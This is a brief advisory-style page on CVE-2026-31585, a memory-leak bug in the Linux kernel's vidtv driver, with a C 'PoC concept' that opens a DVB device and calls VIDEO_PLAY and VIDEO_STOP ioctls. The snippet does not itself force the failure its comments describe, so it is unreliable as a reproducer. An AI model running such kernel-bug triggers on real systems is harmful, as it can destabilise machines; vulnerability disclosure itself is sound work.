CVE-2026-31585 Linux内核vidtv驱动内存泄漏漏洞

/* * PoC Concept for CVE-2026-31585 * This snippet demonstrates the interaction with the vidtv device. * Triggering the specific failure path often requires specific * resource constraints or malformed inputs handled by the kernel. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dvb/video.h> int main() { int fd; // Open the video device (vidtv) fd = open("/dev/dvb/adapter0/video0", O_RDWR); if (fd < 0) { perror("open"); return -1; } // Attempt to start streaming // If internal initialization fails (e.g., memory allocation), // the nfeeds counter bug is triggered. if (ioctl(fd, VIDEO_PLAY, NULL) < 0) { perror("ioctl VIDEO_PLAY"); } // Stop streaming // Due to the bug, this may try to free invalid pointers or leak memory. if (ioctl(fd, VIDEO_STOP, NULL) < 0) { perror("ioctl VIDEO_STOP"); } close(fd); return 0; }